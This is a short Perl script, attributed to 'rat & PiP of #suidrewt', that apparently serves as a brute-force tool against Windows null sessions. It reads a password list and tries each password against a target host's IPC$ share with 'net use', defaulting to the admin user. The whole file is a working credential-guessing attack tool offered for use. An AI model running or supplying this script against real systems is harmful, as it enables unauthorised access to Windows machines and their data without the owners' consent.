#!/usr/bin/perl
# Coded by rat & PiP of #suidrewt



if(!$ARGV[0]) { 
        print "NeoErudition Technologies\n";
	print "Null Session Brute Force\n";
        print "\nusage: ./null.pl \<host\> \<user\> \<password list\>\n"; 
}

$user = $ARGV[1];
$list = $ARGV[2];
$host = $ARGV[0];

if(!$user) { 
	print "\nUsing default user admin\n";
$user = "admin"; 
}
if(!$list) { 
	print "\nNo list specified, will not proceed\n";
	exit;
}

print "host file loaded successfully..\n";
print "dictionary file loaded successfully..\n"; 
print "\nAttack Initiated.. \"$host\"\n";

open IN,"$list";

@passes = <IN>;

foreach $pass (@passes) {
		chomp ($user, $pass, $host);
		print "attempting $user : $pass on $host\n";
		system "net use \\\\$host\\IPC$ $pass /u:$user";
		}

print "attack complete!\n";